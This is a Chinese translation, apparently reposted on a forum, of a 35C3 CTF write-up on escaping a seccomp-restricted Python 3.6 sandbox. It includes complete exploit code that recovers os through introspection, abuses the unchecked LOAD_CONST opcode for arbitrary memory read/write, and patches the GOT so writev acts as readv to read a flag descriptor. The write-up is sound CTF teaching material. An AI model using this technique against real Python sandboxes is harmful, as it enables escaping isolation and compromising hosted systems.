题目基本分析

题目给了以下文件:

dist/
dist/server.py
dist/Collection.cpython-36m-x86_64-linux-gnu.so
dist/test.py
dist/python3.6
dist/libc-2.27.so

正如我们所知,server.py可以接收用户输入的python脚本语言。除此之外,它还可以获取flag并使用dup2将文件描述符复制到fd 1023中,然后用提供的python3.6解释器执行用户的输入。这里有一个小问题,您的代码前面会出现以下这样一段代码:

from sys import modules
del modules['os']
import Collection
keys = list(__builtins__.__dict__.keys())
for k in keys:
    if k != 'id' and k != 'hex' and k != 'print' and k != 'range':
        del __builtins__.__dict__[k]

此代码尝试设置一个基本的Python沙箱。大体来说,这道题目背后的想法是沙箱逃逸,这样我们就可以从已打开的文件描述符中读取flag。

本来预期的解决方案是利用Collection模块,然而,我的解决方案里面根本没有用到它:P

首先,让我们看看沙箱prefix起到了什么作用:

1.它可以删除sys.modules中的os

2.它可以导入原生模块Collection

3.它可以删除__builtins__对象中的每个内建函数,除了idhexprintrange等一小部分,可能是出题人还算比较仁慈吧。

我的这个非预期的解决方案的第一步是,我们要认识到沙盒python是很难正确执行的,并且从sys.modules__builtins__中删除的对象实际上是可逆转的,仍然会有很多的关于它们的reference,我们只需搜索一下即可。

我使用内省机制返回一些基本的内置组件:

str = "".__class__
bytes = b"".__class__
bytearray = [x for x in b"".__class__.__base__.__subclasses__() if "bytearray" in str(x)][0]

返回os的过程有点棘手,但仍然是可行的:

os = [t for t in ().__class__.__bases__[0].__subclasses__() if 'ModuleSpec' in t.__name__][0].__repr__.__globals__['sys'].modules["os.path"].os

这可能要更复杂一点,但不能否认的是,它是有效的。

现在我们有了os,看起来我们似乎可以调用os.read(1023, 100)了。但不幸的是,如果我们尝试调用,我们会得到以下输出:

Bad system call (core dumped)

事实表明,Collection模块设置了一个seccomp过滤器,正是它限制了我们可以使用的系统调用。

于是我用seccomp-tools(https://github.com/david942j/seccomp-tools) 来提取过滤器:

$ seccomp-tools dump "./python3.6 -c 'import Collection'"
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0012
 0011: 0x05 0x00 0x00 0x00000011  goto 0029
 0012: 0x15 0x00 0x01 0x0000000b  if (A != munmap) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x00000019  if (A != mremap) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x00000013  if (A != readv) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x000000ca  if (A != futex) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x15 0x00 0x01 0x00000083  if (A != sigaltstack) goto 0022
 0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0022: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0026
 0025: 0x05 0x00 0x00 0x00000037  goto 0081
 0026: 0x15 0x00 0x01 0x0000000d  if (A != rt_sigaction) goto 0028
 0027: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0028: 0x06 0x00 0x00 0x00000000  return KILL
 ...
--- SNIP - relatively unimporant secondary checks omitted ---
 ...
 0098: 0x06 0x00 0x00 0x00000000  return KILL

比如,我们可以使用以下系统调用:

exit
exit_group
brk
munmap
mremap
readv
futex
signalstack
close
rt_sigaction

我们也可以writestderrstdout,并且在懒得解码的时候使用mmap

非常重要的一点是,我们用readv来读取flag。除了可以同时对缓冲区数组执行多次读取外,readvread系统调用非常相似。我们应该能够用它来读取flag(利用我们之前恢复的一些沙箱对象):

flag = bytearray(128)
os.readv(1023, [flag])
print(flag)

但输出的结果是

Trace/breakpoint trap (core dumped)

经过一番摸索我们发现,Collection模块实际上暗藏了一个玄机。在加载模块时,它会在运行时修补主python可执行文件,并用一系列0xCC指令(调试陷阱)覆盖大部分os_readv_impl函数。很明显,出题人不希望我们用这么简单粗暴的方式解决这道题。所以,既然我们不能再使用os.readv了,为了我们可以调用readv系统调用,我们必须获取某些本地代码执行。

通常,在Python中获取本机代码很容易,只需使用ctypes模块即可。但由于seccomp限制,我们无法加载任何其他模块。经过一番探索后,我发现了这个使用自定义Python字节码的技术(https://gist.github.com/pakt/c70073a0e0de1f47f579) ,它可以用于设置任意的读/写原语。虽然它是为python2编写的,但我们可以调整相同的概念以适应我们的64位python3.6。这种技术看起来相当复杂(它让我想起了一些WebKit漏洞的工作原理),所以让我们把它分解一下。

这个python feature/bug的核心在于python如何解析它的字节码——特别是操作码LOAD_CONST

/* Python/ceval.c line 1298 */
TARGET(LOAD_CONST) {
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}

GETITEM(consts, oparg)从元组consts中的index oparg中检索对象,而不进行任何边界检查(但仅在Py_DEBUG未定义的情况下!)

对此,我们可以这样利用:

1.在堆上创建一个伪bytearray对象。

2.计算出从consts元组到伪bytearray的指针偏移量。

3.编写字节码,返回我们对伪bytearray的引用。

4.调用自定义字节码。

5.这样就可以用这个bytearray来读/写任何地址了。

为了更好理解其中的细节,我们需要了解CPython如何在内部存储元组和bytearray。我已经在CPython源中重建了以下内容:

struct PyByteArrayObject {
    int64_t ob_refcnt;   /* can be basically any value we want */
    struct _typeobject *ob_type; /* points to the bytearray type object */
    int64_t ob_size;     /* Number of items in variable part */
    int64_t ob_alloc;    /* How many bytes allocated in ob_bytes */
    char *ob_bytes;      /* Physical backing buffer */
    char *ob_start;      /* Logical start inside ob_bytes */
    int32_t ob_exports;  /* Not exactly sure what this does, we can ignore it */
}

struct PyTupleObject {
    int64_t ob_refcnt;
    struct _typeobject *ob_type;
    int64_t ob_size;
    PyObject *ob_item[1]; /* contains ob_size elements */
}

第1步很简单,我们可以将一些数据放在一个真的bytearray中,它将被存储在堆上。第2步也很简单,Python有一个内置函数id,它返回对象的内存地址。如果我们添加0x20到真的bytearray的地址中,我们就会得到ob_bytes指针的地址,它将指向我们在堆上创建的伪bytearray。要获取元组内部对象数组的地址,我们可以类似地将0x18加入id返回的值从而获取ob_item数组的地址。需要注意的一点是,LOAD_CONST操作码将要使用的,在数组ob_item中的index,只是一个带符号的32位值,但这实际上并没有引起任何问题。

一旦我们有了一个读/写原语,我们只需在GOT中将libc函数writev更换为readv,这样我们就可以使用Python函数os.writev代替os.readv,因为readvwritev在他们的工作方式基本上是“对称的”。

结论

当我们把上面这些都搞懂了以后,我们就可以来看看最终的成果了:

# recreate things we can't import
str = "".__class__
bytes = b"".__class__
bytearray = [x for x in b"".__class__.__base__.__subclasses__() if "bytearray" in str(x)][0]
os = [t for t in ().__class__.__bases__[0].__subclasses__() if 'ModuleSpec' in t.__name__][0].__repr__.__globals__['sys'].modules["os.path"].os

# from dis.opmap
OP_LOAD_CONST   = 100
OP_EXTENDED_ARG = 144
OP_RETURN_VALUE = 83

# packing utilities
def p8(us):
    return bytes([us&0xff])

def p64(n):
    result = []
    for i in range(0, 64, 8): result.append((n>>i)&0xff)
    return bytes(result)

def u64(n):
    res = 0
    for x in n[::-1]: res = (res<<8) | x
    return res

const_tuple = ()

# construct the fake bytearray
fake_bytearray = bytearray(
    p64(0x41414141) +          # ob_refcnt
    p64(id(bytearray)) +       # ob_type
    p64(0x7fffffffffffffff) +  # ob_size (INT64_MAX)
    p64(0) +                   # ob_alloc (doesn't seem to really be used?)
    p64(0) +                   # *ob_bytes (start at address 0)
    p64(0) +                   # *ob_start (ditto)
    p64(0)                     # ob_exports (not really sure what this does)
)

fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8

print(offset)

# construct the bytecode
bytecode = b""
for i in range(8, 32, 8)[::-1]:
    bytecode += p8(OP_EXTENDED_ARG) + p8(offset>>i)
bytecode += p8(OP_LOAD_CONST) + p8(offset)
bytecode += p8(OP_RETURN_VALUE)

def foo(): pass
foo.__code__ = foo.__code__.__class__(
    0, 0, 0, 0, 0,
    bytecode, const_tuple,
    (), (), "", "", 0, b""
)
magic = foo() # magic is now a window into most of the address space!

print(magic[0x400000:0x400000+4]) # read the elf header as a sanity check

readv_got = 0x9b3d80
writev_got = 0x9b3b28
read_got = 0x9b32e8
diff = 0x116600 - 0x110070 # libc_readv - libc_read

libc_read = u64(magic[read_got:read_got+8])
print("libc_read @", hex(libc_read))

libc_readv = libc_read + diff
print("libc_readv @", hex(libc_readv))

# replace writev with readv in the GOT
magic[writev_got:writev_got+8] = p64(libc_readv)

flag = bytearray(100)
flaglen = os.writev(1023, [flag]) # actually readv!!!
print(flag[:flaglen])

PS:我在这里发现了另一篇关于LOAD_CONST bug的好文章(https://doar-e.github.io/blog/2014/04/17/deep-dive-into-pythons-vm-story-of-load_const-bug/) 。

原文链接:https://www.da.vidbuchanan.co.uk/blog/35c3ctf-collection-writeup.html

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖